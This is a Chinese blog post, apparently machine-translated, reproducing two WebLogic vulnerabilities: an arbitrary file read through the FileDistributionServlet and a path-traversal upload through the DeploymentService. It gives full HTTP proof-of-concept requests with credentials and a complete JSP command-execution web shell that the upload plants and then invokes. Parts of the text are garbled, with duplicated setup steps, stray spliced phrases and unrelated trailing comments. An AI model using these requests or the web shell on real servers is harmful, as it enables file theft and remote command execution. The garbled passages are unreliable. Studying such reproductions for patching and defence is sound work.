
文章目录
weblogic中的两个CVE漏洞更有趣,因此,要重现,这两个漏洞需要在poc中实现用户名和密码(cookie).
环境设置: 首先安装weblogic下载地址

安装目录没有特殊要求,无法更改bea weblogic server宝典,一直到下一步.
删除复选框:
全选:
(已安装图片)
(安装包与jdk1.6捆绑在一起,以前的安装已完成)您可以默认使用:
安装:
安装完成.
打开Oracle并选择WebLogic Server入门:
配置weblogic界面:
选择所有域源:
直到设置了密码选项为止: {8: c: d: f: 4: 4: 5 : 2: d: e: a: 4: 9: b: 3: 0: 1: f: 7: 4: 3: 3: c: f: 9: b: b: a: 5: f: d: 2: a )选择开发模式.
全选.
其余的默认值均已安装. 在安装目录中找到启动程序.
startWeblogic.cmd成功启动后,尝试访问weblogic控制台. 网址:: 7001 /控制台/登录/ LoginForm.jsp

删除复选框:
全选:
(已安装图片)
(安装包与jdk1.6捆绑在一起,先前的安装已完成)您可以默认使用:
安装:
安装完成.
打开Oracle并选择WebLogic Server入门:
配置weblogic界面:
选择所有域源:
直到设置了密码选项为止: {8: c: d: f: 4: 4: 5 : 2: d: e: a: 4: 9: b: 3: 0: 1: f: 7: 4: 3: 3: c: f: 9: b: b: a: 5: f: d: 2: a )选择开发模式.
全选.
其余的默认值均已安装. 在安装目录中找到启动程序.
startWeblogic.cmd成功启动后,尝试访问weblogic控制台. 网址:: 7001 /控制台/登录/ LoginForm.jsp 
漏洞分析该功能的关键代码在weblogic.management.servlet.FileDistributionServlet的doGet()方法中:
public void doGet(final HttpServletRequest var1, final HttpServletResponsevar2) throws ServletException, IOException {
AuthenticatedSubject var3 = this.authenticateRequest(var1, var2);
if(var3 != null) {
final String var4 =var1.getHeader("wl_request_type");
if(var3 != KERNEL_ID) {
AdminResource var5 = newAdminResource("FileDownload", (String)null, var4);
if(!this.am.isAccessAllowed(var3, var5,(ContextHandler)null)) {
ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(var3.getName(), var4);
var2.sendError(401);
return;
}
}
try {
if(debugLogger.isDebugEnabled()) {
debugLogger.debug("---->doGet incoming request: " + var4);
}
if(var4.equals("wl_xml_entity_request")) {
this.doGetXMLEntityRequest(var1, var2);
} elseif(var4.equals("wl_jsp_refresh_request")) {
this.doGetJspRefreshRequest(var1, var2);
} else if(var4.equals("file")) {
this.doGetFile(var1, var2);
} elseif(!var4.equals("wl_init_replica_request") &&!var4.equals("wl_file_realm_request") &&!var4.equals("wl_managed_server_independence_request")) {
var2.addHeader("ErrorMsg", "Bad request type");
String var10 =Utils.encodeXSS(var4);
var2.sendError(400, "Bad requesttype: " + var10);
ManagementLogger.logBadRequestInFileDistributionServlet(var4);
} else {
......
......
}
}
} catch (Exception var9) {
if(!Kernel.isInitialized()) {
throw newAssertionError("kernel not initialized");
}
ManagementLogger.logErrorInFileDistributionServlet(var4, var9);
}
}
}
首先在请求的标头中获取参数“ wl_request_type”的值,然后判断该值是否等于“ wl_xml_entity_request”,“ wl_jsp_refresh_request”,“ file”……然后调用它们各自的方法来输入下一步的判断. 如果wl_request_type的值为“ wl_jsp_refresh_request”,请输入doGetJspRefreshRequest()方法:
private void doGetJspRefreshRequest(HttpServletRequest var1,HttpServletResponse var2) throws IOException {
String var3 = var1.getHeader("adminPath");
try {
FileInputStream var4 = new FileInputStream(var3);
try {
var2.setContentType("text/plain");
var2.setStatus(200);
this.returnInputStream(var4,var2.getOutputStream());
} finally {
var4.close();
}
} catch (IOException var10) {
String var5 = "I/O Exception getting resource:" + var10.getMessage();
var2.addHeader("ErrorMsg", var5);
var2.sendError(500, var5);
}
}

doGetJspRefreshRequest()方法中的“ adminPath”也是请求中的标头参数,要读取的文件在Post包中传递. 在这种方法中,FileInputStream类用于直接读取文件,因此导致了所谓的“任意文件读取”漏洞.
重放访问URL :: 7001 / bea_wls_management_internal2 / wl_management使用BurpSuite捕获数据包:
将POC添加到包中:
将POC添加到包装中: 
POC为:
GET /bea_wls_management_internal2/wl_management HTTP/1.1
Host: 192.168.219.131:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36(KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
username:weblogic
password:12345678
wl_request_type:wl_jsp_refresh_request
adminPath:C:\python27\123.txt
Upgrade-Insecure-Requests: 1
发送此数据包并找到:
检查找到的原始计算机的文件:

检查找到的原始计算机的文件: 
推荐的升级补丁. Oracle官方更新链接地址: . 或直接删除对requestType的“ wl_jsp_refresh_request”参数的判断,并删除doGetJspRefreshRequest()方法.
DeploymentServiceServlet类的漏洞分析handlePlanOrApplicationUpload()方法:
private final void handlePlanOrApplicationUpload(HttpServletRequest var1,HttpServletResponse var2, AuthenticatedSubject var3) throws IOException {
String var4 =mimeDecode(var1.getHeader("wl_upload_application_name"));
String var5 = ApplicationVersionUtils.getApplicationName(var4);
String var6 = ApplicationVersionUtils.getVersionId(var4);
String var7 = mimeDecode(var1.getHeader("wl_request_type"));
if(var5 == null) {
Loggable var24 =DeploymentServiceLogger.logRequestWithNoAppNameLoggable(var7);
logAndSendError(var2, 403, var24);
} else {
String var8 = var1.getContentType();
if(var8 != null &&var8.startsWith("multipart")) {
boolean var25 = false;
String var10 =var1.getHeader("wl_upload_delta");
if(var10 != null && var10.equalsIgnoreCase("true")){
var25 = true;
}
boolean var11 =var7.equals("plan_upload");
boolean var12 ="false".equals(var1.getHeader("archive"));
if(this.isDebugEnabled()) {
this.debug(var7 + "request for application " + var5 + " with archive: " + var12);
}
String var13 = null;
if(var6 == null || var6.length() == 0) {
var13 =this.getUploadDirName(var5, var6, var25, var11, var12);
}
if(var13 == null) {
var13 =this.getDefaultUploadDirName();
if(var13 == null) {
Loggable var26 =DeploymentServiceLogger.logNoUploadDirectoryLoggable(var7, var5);
logAndSendError(var2, 500, var26);
return;
}
var13 = var13 + var5 +File.separator;
if(var6 != null) {
var13 = var13 +var6 + File.separator;
}
}
if(this.isDebugEnabled()) {
this.debug(" +++ FinaluploadingDirName : " + var13);
}
boolean var14 = true;
String var15 = null;
......
......
} else {
Loggable var9 = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(var7,var8);
logAndSendError(var2, 400, var9);
}
}
}
此方法主要处理POST数据包中的传入标头. 它的主要功能包括: 在请求包中获取“ wl_upload_application_name”参数,然后确定其是否为空;确定“内容类型”;构建上传路径等.
该漏洞复制了访问漏洞URL: 7001 / bea_wls_deployment_internal / DeploymentService,并使用BurpSuite捕获数据包.
将数据包发送方法更改为POST以写入POC: POC为:

将数据包发送方法更改为POST以写入POC:
POC为: <
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.219.131:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password: 12345678
Content-Type: multipart/form-data; boundary=--------1838169138
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1044
----------1838169138
Content-Disposition: form-data; name="shell.jsp";filename="shell.jsp"
Content-Type: false
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " +request.getParameter("cmd") + "<BR>");
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows")!= -1){
p = Runtime.getRuntime().exec("cmd.exe /C " +request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
----------1838169138--
发送数据包,然后在浏览器中找到以下图像:
访问网址:: 7001 / bea_wls_internal / shell.jsp? Cmd = ipconfig 漏洞再现了.
访问URL :: 7001 / bea_wls_internal / shell.jsp? Cmd = ipconfig
现在完成了.
修复计划Oracle已在关键补丁更新(CPU)中修复了该漏洞.
*作者: 莫花樱桃雪bea weblogic server宝典,这是一个FreeBuf原创的激励程序,未经许可严禁转载.
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-156536-1.html
有个孩子急需帮助
喘气吗